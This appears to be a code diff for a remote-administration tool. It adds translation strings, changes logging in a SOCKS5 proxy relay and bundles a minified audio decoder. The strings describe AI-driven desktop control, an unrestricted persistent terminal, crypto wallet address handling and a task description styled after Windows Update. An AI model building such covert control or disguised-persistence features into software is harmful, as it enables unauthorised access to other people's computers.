+启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输/管理操作的改动需重启程序生效。=啟用/連接埠/綁定位址/Token/唯讀/白名單/持久終端/遠端控制/檔案傳輸/管理操作的變更需重新啟動程式後生效。
 只读模式（禁命令执行）=唯讀模式（禁命令執行）
 命令白名单=命令白名單
 MCP命令执行=MCP命令執行
 启用持久终端（全命令，无白名单）=啟用持久終端（完整命令，無白名單）
-持久终端与远程控制仅在只读模式关闭时生效。=持久終端與遠端控制僅在唯讀模式關閉時生效。
+持久终端、远程控制与管理操作仅在只读模式关闭时生效。=持久終端、遠端控制與管理操作僅在唯讀模式關閉時生效。
 MCP持久终端=MCP持久終端
 MCP远程控制=MCP遠端控制
 MCP文件传输=MCP檔案傳輸
+MCP管理操作=MCP管理操作
 Token=Token
 启用远程控制（AI 操控桌面）=啟用遠端控制（AI 操控桌面）
 启用文件传输（download_file）=啟用檔案傳輸（download_file）
+启用管理操作（进程/窗口/服务/电源）=啟用管理操作（程序/視窗/服務/電源）
+第 %d 个钱包地址不合法!=第 %d 個錢包位址不合法!
+%d 新连接\r\n=%d 新連線\r\n
+%d 本地连接断开\r\n=%d 本機連線斷開\r\n
+%d <==发 %d bytes\r\n=%d <==傳送 %d bytes\r\n
+%d 返回标示 %d %d %d\r\n=%d 返回標示 %d %d %d\r\n
+域名 连接 %d \r\n=網域連線 %d \r\n
+%d IPV6连接 不支持...=%d IPv6連線 不支援...
+%d 不符要求, 断开 %d %d %d\r\n=%d 不符合要求, 斷開 %d %d %d\r\n
+%d 连接成功\r\n=%d 連線成功\r\n
+%d 连接失败\r\n=%d 連線失敗\r\n
+%d ==>收 %d bytes\r\n=%d ==>接收 %d bytes\r\n
+ 驱动盘非NTFS格式= 磁碟非NTFS格式
+需要管理员权限运行=需要管理員權限執行
+初始化日志文件失败=初始化日誌檔案失敗
+获取日志文件失败=取得日誌檔案失敗
+ 取消下载= 取消下載
+ 全部完成= 全部完成
+ 取消上传= 取消上傳
+无权限或无记录...=無權限或無記錄...
+请等待数据返回...=請等待資料返回...
+接收数据完成=接收資料完成
+打开文件失败...=開啟檔案失敗...
+此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)=此工作用於在需要時啟動 Windows 更新服務以執行排程的操作(如掃描)
+本地文件路径=本機檔案路徑
+高级(&A)=進階(&A)
+远程桌面质量等级(&Q)=遠端桌面品質等級(&Q)
+远程桌面质量等级=遠端桌面品質等級
+等级=等級
+帧率(FPS)=幀率(FPS)
+最大宽度=最大寬度
+编码算法=編碼算法
+码率(kbps)=碼率(kbps)
+Ultra 极佳=Ultra 極佳
+High 优秀=High 優秀
+Good 良好=Good 良好
+Medium 一般=Medium 一般
+Low 较差=Low 較差
+Minimal 最低=Minimal 最低
+最大宽度 0 表示原始分辨率；DIFF/RGB565 适合局域网，H264 适合跨网=最大寬度 0 = 原始解析度；DIFF/RGB565 適合區域網路，H264 適合跨網
+恢复默认=恢復預設
+质量等级已保存，下次打开远程桌面时生效。=品質等級已儲存，下次開啟遠端桌面時生效。
+屏幕预览质量等级(&P)=螢幕預覽品質等級(&P)
+屏幕预览质量等级=螢幕預覽品質等級
+JPEG质量=JPEG品質
+最大宽度为期望编码宽度；JPEG 质量 1~100=最大寬度為期望編碼寬度；JPEG 品質 1~100
+预览质量等级已保存，下次发送预览时生效。=預覽品質等級已儲存，下次傳送預覽時生效。
+
+; ============================================
+; File Transfer Speed Dialog (文件传输速度)
+; ============================================
+文件传输速度(&F)...=檔案傳輸速度(&F)...
+文件传输速度=檔案傳輸速度
+拖动滑块设置文件传输速度：=拖曳滑桿設定檔案傳輸速度：
+最慢=最慢
+慢=慢
+默认=預設
+快=快
+更快=更快
+很快=很快
+不限速=不限速
+%s · 约 %.2f MB/s=%s · 約 %.2f MB/s
+%s · 不受限速（受网络带宽约束）=%s · 不限速（受網路頻寬限制）
+文件传输速度已保存。上传速度重启主控端后生效；下载速度已推送到在线客户端，新连接的主机也会自动获取。=檔案傳輸速度已儲存。上傳速度重啟主控端後生效；下載速度已推送到線上用戶端，新連線的主機也會自動取得。
+
+连接管理=連線管理
+%s - 连接管理=%s - 連線管理
+本地地址=本機位址
+本地端口=本機連接埠
+远端地址=遠端位址
+远端端口=遠端連接埠
+连接数:%d=連線數:%d
+强制断开=強制中斷
+远程交谈=遠程交談

server/2015Remote/proxy/ProxyMapDlg.cpp

@@ -135,7 +135,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
     try {
         switch (nCode) {
         case NC_CLIENT_CONNECT:
-            wsprintf(szMsg, _T("%d 新连接\r\n"), index);
+            wsprintf(szMsg, _TRF("%d 新连接\r\n"), index);
             break;
         case NC_CLIENT_DISCONNECT:
             if (pContext->m_bProxyConnected) {
@@ -144,7 +144,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
                 memcpy(lpData + 1, &index, sizeof(DWORD));
                 g_pProxyMap->m_ContextObject->Send2Client(lpData, 5);
             }
-            wsprintf(szMsg, _T("%d 本地连接断开\r\n"), index);
+            wsprintf(szMsg, _TRF("%d 本地连接断开\r\n"), index);
             break;
         case NC_TRANSMIT:
             break;
@@ -152,13 +152,13 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
             if (pContext->m_bProxyConnected == 2) {
                 g_pProxyMap->m_ContextObject->Send2Client(pContext->InDeCompressedBuffer.GetBuffer(0),
                         pContext->InDeCompressedBuffer.GetBufferLength());
-                wsprintf(szMsg, _T("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
+                wsprintf(szMsg, _TRF("%d <==发 %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
             } else if (pContext->m_bProxyConnected == 0) {
                 char msg_auth_ok[] = { 0X05, 0X00 }; // VERSION SOCKS, AUTH MODE, OK
                 LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
                 pContext->m_bProxyConnected = 1;
                 g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_auth_ok, sizeof(msg_auth_ok));
-                wsprintf(szMsg, _T("%d 返回标示 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]);
+                wsprintf(szMsg, _TRF("%d 返回标示 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]);
             } else if (pContext->m_bProxyConnected == 1) {
                 LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
                 BYTE buf[11] = {};
@@ -182,10 +182,10 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
                         memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
                         g_pProxyMap->m_ContextObject->Send2Client(HostName, Socks5Request->IP_LEN + 8);
                         SAFE_DELETE_ARRAY(HostName);
-                        wsprintf(szMsg, _T("域名 连接 %d \r\n"), index);
+                        wsprintf(szMsg, _TRF("域名 连接 %d \r\n"), index);
                     } else if (lpData[3] == 4) { //ipv6
                         char msg_ipv6_nok[] = { 0X05, 0X08, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // IPv6 not support
-                        wsprintf(szMsg, _T("%d IPV6连接 不支持..."), index);
+                        wsprintf(szMsg, _TRF("%d IPV6连接 不支持..."), index);
                         g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_ipv6_nok, sizeof(msg_ipv6_nok));
                         g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
                         break;
@@ -197,7 +197,7 @@ void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT
                     buf[3] = lpData[3];
                     g_pProxyMap->m_iocpLocal->Send(pContext, buf, sizeof(buf));
                     g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
-                    wsprintf(szMsg, _T("%d 不符要求, 断开 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]);
+                    wsprintf(szMsg, _TRF("%d 不符要求, 断开 %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]);
                 }
             }
             break;
@@ -238,9 +238,9 @@ void CProxyMapDlg::OnReceiveComplete()
         if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) {
             if (sendbuf[1] == 0) {
                 pContext_proxy->m_bProxyConnected = 2;
-                wsprintf(szMsg, _T("%d 连接成功\r\n"), index);
+                wsprintf(szMsg, _TRF("%d 连接成功\r\n"), index);
             } else
-                wsprintf(szMsg, _T("%d 连接失败\r\n"), index);
+                wsprintf(szMsg, _TRF("%d 连接失败\r\n"), index);
             m_iocpLocal->Send(pContext_proxy, sendbuf, sizeof(sendbuf));
             AddLog(szMsg);
         }
@@ -266,7 +266,7 @@ void CProxyMapDlg::OnReceiveComplete()
                 AddLog(szMsg);
                 return;
             }
-            wsprintf(szMsg, _T("%d ==>收 %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
+            wsprintf(szMsg, _TRF("%d ==>收 %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
             AddLog(szMsg);
         }
     }

server/2015Remote/res/web/opus-decoder.min.js

@@ -0,0 +1,232 @@
+/* Copyright 2021-2026 Ethan Halsall. This file is part of wasm-audio-decoders. https://github.com/eshaz/wasm-audio-decoders */
+var i,t;i=this,t=function(i,t){const e=(i,t=4294967295,e=79764919)=>{const H=new Int32Array(256);let s,h,r,n=t;for(s=0;s<256;s++){for(r=s<<24,h=8;h>0;--h)r=2147483648&r?r<<1^e:r<<1;H[s]=r}for(s=0;s<i.length;s++)n=n<<8^H[255&(n>>24^i[s])];return n},H=(i,t=e)=>{const H=i=>new Uint8Array(i.length/2).map((t,e)=>parseInt(i.substring(2*e,2*(e+1)),16)),s=i=>H(i)[0],h=new Map;[,8364,,8218,402,8222,8230,8224,8225,710,8240,352,8249,338,,381,,,8216,8217,8220,8221,8226,8211,8212,732,8482,353,8250,339,,382,376].forEach((i,t)=>h.set(i,t));const r=new Uint8Array(i.length);let n,M,o,a=!1,c=0,I=42,u=i.length>13&&"dynEncode"===i.substring(0,9),y=0;u&&(y=11,M=s(i.substring(9,y)),M<=1&&(y+=2,I=s(i.substring(11,y))),1===M&&(y+=8,o=(i=>new DataView(H(i).buffer).getInt32(0,!0))(i.substring(13,y))));const l=256-I;for(let e=y;e<i.length;e++)if(n=i.charCodeAt(e),61!==n||a){if(92===n&&e<i.length-5&&u){const t=i.charCodeAt(e+1);117!==t&&85!==t||(n=parseInt(i.substring(e+2,e+6),16),e+=5)}if(n>255){const i=h.get(n);i&&(n=i+127)}a&&(a=!1,n-=64),r[c++]=n<I&&n>0?n+l:n-I}else a=!0;const d=r.subarray(0,c);if(u&&1===M){const i=t(d);if(i!==o){const t="Decode failed crc32 validation";throw console.error("`simple-yenc`\n",t+"\n","Expected: "+o+"; Got: "+i+"\n","Visit https://github.com/eshaz/simple-yenc for more information"),Error(t)}}return d};function s(){const i=Uint8Array,t=Float32Array;s.t||Object.defineProperties(s,{t:{value:new WeakMap},H:{value(i,t){s.t.set(i,Promise.resolve(t))}},M:{value(i,t){let e=s.t.get(i);return e||(t?e=WebAssembly.compile(H(t)):(t=i.I,e=s.u(t).then(i=>WebAssembly.compile(i))),s.t.set(i,e)),e}},p:{value(i,e){let H=new t(e),s=0,h=0;for(;s<i.length;)H.set(i[s],h),h+=i[s++].length;return H}},J:{value:(i,t,e,H,s)=>({errors:i,channelData:t,samplesDecoded:e,sampleRate:H,bitDepth:s})},W:{value(i,t,e,H,h,r){let n,M,o=[];for(n=0;n<e;n++){const i=[];for(M=0;M<t.length;)i.push(t[M++][n]||[]);o.push(s.p(i,H))}return s.J(i,o,H,h,r)}},u:{value(t){return t=H(t),new Promise(e=>{const H=String.raw`dynEncode012804c7886d(‰›•)((()>+ˆ*§§)§ˆ,§§§§)§ˆ+§§§)§+.-()(*)-+)(ˆ.7*§)i¸¸,3§(i¸¸,3/G+.••—š¡*(,˜ŽŽ(,3‡‡‰˜‡Š‰›+)2å:-œ),§H(P*DI*H(P*@I++hH)H*r,hH(H(P*<J,i)’^*<H,H(P*4’U((I-H(H*i0’J,^*DH+H-H*œšI+H,I*4)33H(H*H)“^*DH(H+H)^*@H+i§H)œi§›™3æ*).§K(iH“I/+§H,iHn,§H+i(H+i(rCJ0I,H*I-+hH,,hH(H-V)(i)œ’J.H.W)(i)’c)(H,i)“I,H-i*’I-4)33i(I.*hH(V)(H+n5(H(i*’I-i(I,i)I.+hH,i*’J+iHn,hi(I-i*I,+hH,H/’H-c)(H,iFn,hi(I,+hH,H0n5-H*V)(J(,hH/H(i)œ’J(H(V)(J(i)’c)(H)H(i)œ’H,c)(3H*i*’I*H,i)’I,4(3(-H(H,’W)(H-’I-H,i*’I,4)3(3(3H,H-’I1H+I,H.i)œH1V)(“J.i(v5(33H.-H(H,’i(c)(H,i*’I,4)333–)-§i*I*+§H*iHn,hiž73H,H(i)8(H+šJ+H)P*(H*’V)(J-“r,§H)P*,H.i)œ’H+H,“i)œ’V)(-H*i*’I*H+i)œI+H-H.’I.H,H-’i)œI,4)333Ã+)-§iø7i(^*(iü7I,*h+hH+iDn,h*hilI+i)I,+hH+,hH+iô7’H,c)(i)H+i´8’W)(œH,’I,H+i*’I+4)-+hH(H)8*J-i(p5.*h*h*hH-i')u,hH(P*(J+,hH(P*0J,H(P*,n50H+H,’H-b((3H(P*0i)’I.4)3H-i¨*n5*H-iÅ*s,hiž73H-i)œJ+V)&+I,H(H+V)æ,8(I.H(H*8*J-i(p51H-i)œJ+i¸7’V)(H(H+iø7’V)(8(’J/H(P*0J+s,hi73H+H,H.’J,’I.H(P*(m5(H.H(P*,s5.+hH,m5*H(P*(J.H+’H.H+H/“’U((b((H(H(P*0i)’J+^*0H,i)“I,4(3(3H(H.^*03H-i¨*o5)33i(73(3(3-H,H+i)žc)(H,i*’I,H+i)’I+4)33i)I-3H-3!2)0§K(i2“J,L(H,H(^*(H,H*^*4H,i(^*0H,i(^*DH,j(_*<H,H)P*(^*,H,H+P*(^*8*h*h+hH,i)8(I3i§I**h*h*h*h*h*h*hH,i*8(6+(),03H,j(_*@i*I-H,P*<J.i,’J(H,P*8J/s50H,H.i+’J0^*<i¦I*H.H,P*4J1’J.U(*H.U((J2›i')o5/H.U()I.H,H(^*<H0H1’U((H.i0œJ.i§›i0ži')™o5/H/H.H2šJ*H(’J.q50H,P*0J/H*’I-H,P*(J0,hH,P*,H-q,hi)I-423+hH*m5+H/H0’H(H1’U((b((H/i)’I/H(i)’I(H*i)“I*4(3(3H,H.^*<H,H-^*04*3iØ1U((5+i(I(i¨7i1^*(i$6iè1^*(i°7iè6^*(i¬7iÈ6^*(+hH(iÈ*n,hiÈ*I(+hH(i¨,n,hi¨,I(+hH(iØ,n,hiØ,I(+hH(iè,o,hH,i-’H(’i0c)(H(i*’I(4)33iè1i1H,i-’iÈ*8)Bi(I(+hH(ido,hH,i-’H(’i-c)(H(i*’I(4)33iÈ6iè6H,i-’iF8)BiØ1i)b((41-H,i-’H(’i/c)(H(i*’I(4)3(3(-H,i-’H(’i1c)(H(i*’I(4)3(3(-H,i-’H(’i0c)(H(i*’I(4)3(3(3H,H/^*0H,H(^*<3i(I*4*3H,H,i¸)’^*TH,H,iø-’^*PH,H,iX’^*LH,H,i(’^*HH,i-8(I(H,i-8(I-i¥I*H,i,8(I.H(iErH-iErš5)H(i©*’I1H-i)’I0i(i;H.i,’J(i(H(i(rCJ(“J*H*i;sCI*i¨1I-H(I/+hH/,hH,i-’H-V)(i)œ’H,i+8(c)(H/i)“I/H-i*’I-H*i)’I*4)-H(i)œi¨1’I/+hH(H*o,hH,i-’H/V)(i)œ’i(c)(H/i*’I/H(i)’I(4)33i¤I*H,iø-’H,i¸)’H,i-’i;8)5+H0H1’I2i(I-+hH-H2p,hH,H,iP’8*J*i(p5-H*i7u,hH,i-’H-i)œ’H*c)(H-i)’I-4*3i(I/i+I.i+I(*h*h*hH*i8“6*(*)3H-m,hi£I*403H-i)œH,’W)-I/i*I(4)3i3I.i/I(3H2H,H(8(H.’J(H-’J.p,hi¢I*4.3H,i-’H-i)œ’I*+hH(,hH*H/c)(H*i*’I*H(i)“I(4)-H.I-4+3(3(33H,W)1m,hiŸI*4,3H,iø-’H,i¸)’H,i-’H18)J(,hi¡I*H(i(p5,H1H,V)ú-H,V)ø-’o5,3H,i(’H,iX’H,i-’H1i)œ’H08)J(,hi I*H(i(p5,H0H,V)šH,V)˜’o5,3H,H,iP’H,iH’8+I*4+3(3(3H,i$6i¬78+I*3H*H3šm5(3i)I-H*i(r5)3H)H,P*0^*(H+H,P*<^*(H*I-3H,i2’L(H-33Á)+(i¨03b+(,(-(.(/(0(1(2(3(5(7(9(;(?(C(G(K(S([(c(k({(‹(›(«(Ë(ë((*)(iø03O)()()()(*(*(*(*(+(+(+(+(,(,(,(,(-(-(-(-(i¨13M8(9(:(((0(/(1(.(2(-(3(,(4(+(5(*(6()(7(T7œ‰šœ‡Ž‰œš›*S7•œ‰Š”U”—Š‰”
Line truncated
+®Fj{øú¢ç=}(ݝñŸÜnŸ moÇ°¥à•eò?È×µh
+ØW¨;Ñ aØX­æU{¤øàÖÕÀì·ÝÌ­íø±tâÔøeVO÷PÉ´È~ÃòsX1´ÊPyK·ÿ™ŒKZçµ ›W„Ñ¡¡_‘ ‘dÍ•í+]Õ~%Yïþîñ ¾Ú·”p[òß ¶ó÷ylhnn«²ù*¶Ìéñ®ï(éÇÃRÊÆRÌ-¬ÐoÒ”Ê2z+ä$‚:ÄsxÏ#Ït!MlBqžš§%Jè„	ƒ®Ä3ó°á¸eÅ_Ö=}iTÐ͆mo†ðbMpžl–¬E›P°e,¼Æju®ix>#}N€gd™ÿÇÄbç9WZÇ·n\†Öá1ڛÈt.ú6bì:û†ào¯ú4Ÿ“Ïø  ü­zå¯#ÆkŸ‡M#úÿ9›ë:üÒÝëÚà†¡d”•%0ÒekÓ×mðƸ½ùÿ⇿Ò9	›ÄgªÕÂ%ü¸»	HÁMŽ#Âqˆ²~Œèn¯Ûa_9j= ùÿR™èæÊó%Mƒ
+’¨,Àæq%98‰a9%T—˜2)´z«9gsÒ‚Ö!”ZhRõRێyÕ²ŒÝ=M<Öcº	»~VFÕÖx:þrޑðnŽ£x¦8.è†$K9þ¹úSnÍ3¦ˆv…üuºsÕñ=}œ1—=M5Zʕ¦CÿSÉ2×qÒ
«
«S†˜a»ù±(¢º]ÀmÍh÷/¥3@sns2	–%7ù-Q|nÏoöjYÛ]}à2{€EB’êÎ6ƒ>ÁbÄü
+á,	[DAÐuùjeN‹D‹EëÔàZ‘ºlq˜»J/˲ájº‚ßCÃÝ1b)øtN7Ê=}gÕ®òÍá§8²kDïû¤åÒÅóºc=M²= aË.ooèf€.QZj@bñ>qV©?敃xñˆRô|_xwêˆ¸÷È¡ö"C¶œ2[¼‹ï¯¸©K†ŠmäºúZ€…¡%^°bóþ»-¼Ú¥ZIŽ(pþ…µS%øµã*Ò±8f:t¡éþ†õz¶<Äfñ*žöeP8AÓ¾/g×\С1Ï"= ¤ûGsW_¹ÔÈX	Tãà‚uT™íEKPüݸ#åB¢ñ?:µßĬîFŽI8QY;X… ¶íŸ¦k{|¦éíà/fªi>´EÈoK= Š6¼l„Ör²ÿ*YǏv앭dàG{Ö,Gz½.gzSdïV%…’Š˜‰z“¥8¶²bO™¡2\nOžßV—¡S2KçK´”žUûu۝Ÿã~„f¾K)ÊÖ#´?#»ÅYƒXOøò T™CB}LUk,kÍ)]ŽíiEŸ^ÿyW)Ê»³= ô1_½úÌÞÊçýS¡‰
+»£jŒÆkžhÐ1˜G<è^àÙç?…æF¦Ç/ã«Eý6ZI¹tšl.‚aëül|„!&:MÓå?N@ø˜Åf 6cì$w–,3~„17F=M𸳞°a‰õu\9æk	‡I—&>V®‡Æ/Øa´ †%¶¢],ÿ:±wäé¬áS¥FK±U¢±ÓPóŠßœ&“®ƒe€‘= ÍÍܯÏ×À@= Ø‹#‚Ðk[NCó÷À‚ÄÞŽGQRˆcnI}HGñ—\’ç­= öè^áygyDԋa©D”¦„…'ߣMߣPI¯à¨=}˜=MUÀ¸çy 9W½LšíU·ôzwzÃsÝZòŽÓ3ŸFž¸“—Á菣âƒÑ–’nՙ%‘Í¥k…á®=Mˆ×ŸGTÀÊøfëM-UF‡;ŠuåÙ#…X#‰—
+nˆ©ï֟DÅñ¸q ’,Թи;h¿åñŸ#µNÓ÷¸v} *ځ‡_= ãýØb6N–=MH§'®Iƒu¯78˜–‘ªÊÝ#42p´[/ƒ¿E= =MxƒåÄV§Ým©3?;bô9fb÷Ð'¨È˜IS7ñ>¬IÍÜK tçքJ	7û6ߥA/|BÏ›=Mõª‡w¿T¼91óí•ÒèœÔ_6»Âõˆªvg2ý¡‰õ÷Ò=}Å3ýXm²¬bˆÛ}U¬0œ¸Ük~e“
+aY¬ÈƒÛ•µ¨¢–0N„ñ¬t³VÉhÖYvx§˜"ǘ5\
N'ªÂ£æKlÂ?þ{m¼‰ôê±ñÔ|L„m¬t_œ2%¤E„}Ù>›ÎFûalSXø²tRªÀ8¥£Å˜š™|ÖW›(Ù)\3Úwåì:›oíý±Y4ì©géµC³¨Q‰\ÍõMÕ
„
+!J½6ë:ËgípoÒ=}I=}ëS¯¸…ƒž™F=}ÙT__U‰¾&\íÛ ¼Âkg#úÚ¡ÀsÏÔTžµ³ÑËߊxNÉæGç^4Ñ¡%.¦U±O[ø¼4pͺš7܆âªcÔ¦¢:oŠu¹8ÌzîXfœ¬56DC´Þ]ӆž!=MOÀՉâGÖӝ«0¤–¿‘Å2ú
+éηNó“ÚÄr_Z)6y&2^F|#²ì‘36eòa¦rcLõ5
Hö<r¼J!í
¼©DøÓ@¨åPóˆfÑ£®›·§hQ®õ½‡c±M¥W,ÝàŒÜ««¿‰¢Vmù|	ˋ·wj$témè±°&í9yò‰µ“fæuC”:‡E@[RX\.qéuDýé(‹iao»]W5?I!z®ž¡±âàk—Ëý¼ƒLó–FµUM¨cEu’¼üÃFÔì€<@y´ÜøÆ#y«™µ‡àdMå@„šÛXüû¼á¾ù[CHºÀ[4ñ5z:ӆàV[B•Ò/I!ÕÓÂXj«ýH&o³©sFÍ&-ö«7d\X#>¦€yñÜÃMG”c~#‘!‡TütŽ? ªÌ·«‰á¨É»ÕBms¸Û®0úBšjÛ(ƒ^ÓÅ®¤ÛF¹ÐmŒ›a)'¨ë(²ÄÞÍm²¦á¡B„á|”%«L¹a\×Ub= -f‹®Ž¢Ü¢«GÌSÔxÖXc‹Ãȋ‹ŸœŠÄh½4e#"‰'…;P	>Rõo;%tÐC$g%Ä>70* *©cX—!C7€yôîËtO'j?óíÛµÁûH= I†ŽróÛ= kòw
i‰J]€]þ†ßY÷{šŒŸmûpLÿÊe•LA¾À <½å…i­WÎ?o©t¡caâB¼iBüÛڈ¯:_î˜OJ7"\¥^­EPHQ”¼Cõ *{ÎÁIÅŝ$ÉVÇbo]XÆs)^‘H—²®wójÔÎE“6OÙÿŽsRͨEù９ž/²OÉQÿmåŸ«õ‡ØÆœZa;ˆÄ{ <}˜¸°Ró=MÖ²ý‰Üz´|´†pµÛá!cï‡Æ,@zÃTŠ«¶d³åoÙ-KŠyÁÓ4gß-²ÂŸxÊØÏ\@‡q&}eÔÂèŸ\ßÍT1Ï\kŸƒì÷Úw…é\À“Ä~<à¢e«4E¡/«Ä­aõu½=}l°Ã˜Në/J­å=}ÿ®!.N‘Š8…Ær)HÖ43¡C3Ôz/N:
+Ú7!Z†‹1Þqöž)M%"O7^+TɚêaF8øc’2ú%ù3}Ô²dU(™³͏Zň±£y¤aŠf¿Ï•][Hþ”s·Ù$EpFæt4¦$V‰ú
+í!hãV53øKéâ=}Nå22Úú"AÃ5£áª6ŽŽWÕæYôȂ^ AÜÍ)ýYÌúë¾a0= ºvéèŠ:‡7“Mô=MWsE²Š£²ÇL¿òÞ²—ܳJ+= 5æ+,>
+¸M÷‰7jè;/_ý7ãzÈ)D÷·Ç4*È#†
Ú¹"ó­!†z0	º—®“ŠµZ*Šìx®
+R>sÚýP7Š:ƒ¯ZZ=MŒͅW²Dê6Ó^Nq= fÍbN¿VþÒª£;û<cVýî’媖“6§7dËÃ-²us¶Ò¹%·iÄs4òf N…(ᨔ|õ-yZ$E)—¹ï5¶Wí]Q\·1U9†:[-zQ¼—É7÷/þžiÉõ	¿«Ob)Iµñ0
+…lÁNpʦË-+Kfø»
+cù@®W¡‘Y,îuC6ZK¤é‰Ï²µI=}= óáÔÁ4´-ƒõfԔmõVÛvFÞÀç*=}éåú6™î®£³úÄßy'GD1dƒÕ±È"šx^ù1˜)DÚ'öŽ–\©^6Œ§ö_Š³îªZ|¾S= @$^*- 'ªÈÄb7ÎÜt7Z4©ö§–É…š
U•hY{ÓÚh£ˆ	±TޗÁÉýҎRŒ‰7ˆ¡t¨‹<#Ĩ¡@EK7†Ïb3Uri)åw–=}ø»n#MMuœåۙÄ	œ ¼ü‰÷´ÒuâÆ8¯¬œ»R6‘I¡WBòîtžnP=Má‹-0óà¤ÕƓ+¯KæÛc„âÑG½þÛÀFä7"ATMáu+mø¼?ә^Ê?Ts÷ÁR7ñ
³!åogã	_ËRª«J$¼­Ž‚nÇ	‹h‘ ýõgcíÿ·ÅºÊ§~̂= @<Ûx¿a¥L¦ÃOŸ·—òi½ eûž…ÎL~tÞ/ˆ'ž…—­=M›$x@½tZŖYÖ&¼£]6o¹åۃѕv‹àMfgp£7ŒÇ6ùßkØ5˜i>9àlÊ Š>ƒÐ7w)ý;³(JKLª.z7ðfê2jÐ"£™Ÿ.SˆJ®“.çŠòìV\3(ÎÍ­Êt"´»µ¾¸[Œ
+¸8Œ÷Ê+¶AúCñ&ÿøH]÷hly^Îàî®ðgåA‰6í”KÊ7ÒäGo¿:ƒ¥G[Åþ¡«a¶GÞ¾Ž!â
+=MnB»ªÖŽ1ÔIZò2»JkëÆwùº
ÅtªŠ’¯xÇ»
×utŠ#jà:æî‹OÒ6P¿èrñË×ôm2¸ÓJ±*h«koâ}»¯£F÷§÷¸”#aƒ®—ŠÅˆ.ùÌ/³3ځ9Vϗ[³22L[ŸÓ,ö«W&$/U›Vq*	fÐ;F°®/Ѧ·qo:SCÚɼñ|¨íu09é±|Þ'­ÏYÍ. 5Cm;Àúñ=MmW8ÒSŸM³¦äHmsA^mÞ¢£Â©}‚oO21*‚ÒÃʋFbäT~¿P'7ÑDØÖW®äO{ŽZ»žA؄;t£82Jb^“:®ÇOß­v@r*o:×>·ûxGÌt/ë*Š”F:7ÝÁwd¾º›£D´{¢= ´¾˜3EK·‚<MÉ¿†8ÂìiÔÁ°r6Ö!F{'H§Ü
+y¢r‚Ín(2Rƒ—æQ{ Û»Ìg{¸G%~»¥QÜm$B˒¡[Ú®jþXè59[ô
+âRAÁïyw—ìüwrz˜)yhX#p¼èt!’1‹~^ h6kî^C6}hpBŽ{‘£Q5—x¿ÁoН= à ˆ£É<󛫀¡ìè31ÜÌç±3X~:ÚÂS~«3/÷9ÚJ8Æ~­^\¨Õ’ÀŠvȚØýd9zX|ÿ1¨‰
+= S^bÅ]É:×l÷EÜ1= ¦¼Ê
+T4’ÙCéhåìcÅ»èZ³}!©ð–:~^¯ãó*Mï8r€Úm}6S3–#ùÊ(%òYï¬%a¶¯N½Ž
+ï˜õ­î/Q	½
É}I£Û£þ×ÍLtä,QMÊÚ0la; {Z½¥{é¹3§£:Nj´¸ÆbýÖÜÊÝizeµvýEärìY(£Î£Ô¾oþ3Š9hn,9øÚ¯Œúõyä¿Ôb4q
+ÏTÊî·ÑڝQÆï+zy¥0o”b;¢ÀŒï­ˆüÕçIò‡õ[I"îšY°â‰p×AÕ	‹# }êN92‚Üž'Ú=}Å®Õà¹Xg[9„ÿÐ58¿ŒCke.ÓÏ#êzü=}ÒGkÌ%Æ"èύ^q±R3
+=}*@Å@¹æÛir·÷³¸{Ôd«WžÈHÒ=M®Ôæ•æa!RqÄםóÁ—ᯍSÛ®?Ãëê ¨.ÃW§r+TSóÛ5_µ®cT8_WqP†ãtå!Wü= ºmµ¬È
+Ò+ŸKq¢¢–ãgõ ËÁY”bHG@¡™yt‡]NÖ¥¼~0X+ûx85&Bùž2—×Ûßoç¤›„AŠ:$'áôÑÀ9º|:ª °­zï:—­$—Jo¯’«Ë›ÜÛ÷àŽSWîK5´ÁË$fÙÓ¨Ãޚ1£L š.uïÇ-ê{¹/&ê֒VÆcí[>£µآŵûȟ{-VÊm_°S›³òÀmªŸQ©FlaÞñíÏW¬D©lÑñ)ðss½ÎÿVƒBt	LªS+¬KB\;ªå'þmd'=}‘ÈnÊu&þÚ®4Ps±ô°ñZ÷¹„(ÌýlÜ*M»N«Ïö:[Վ.lrPŽ½0™w¬žƒ=Mâ×sWíQx_ó‘?CA'
+Z“W-òªi±´¥²ÊMZ§æ†„dÀZÐùõ«š˜óZ—ófÉÑüÔè­\rN’ÀóV6Á69f•~6dOgD	п”o>‚‘é#Y¾u?Øޜؚ-Ù±¶WE™¯=M^Ïè–bȽq—Úƒäqj‘r”œ½ZmFïâjʘ4áÃ1XÒ93Oʚ´YöcÛj¥•[Èñ£@!9+ÿI™üb•Fu#PB©ž
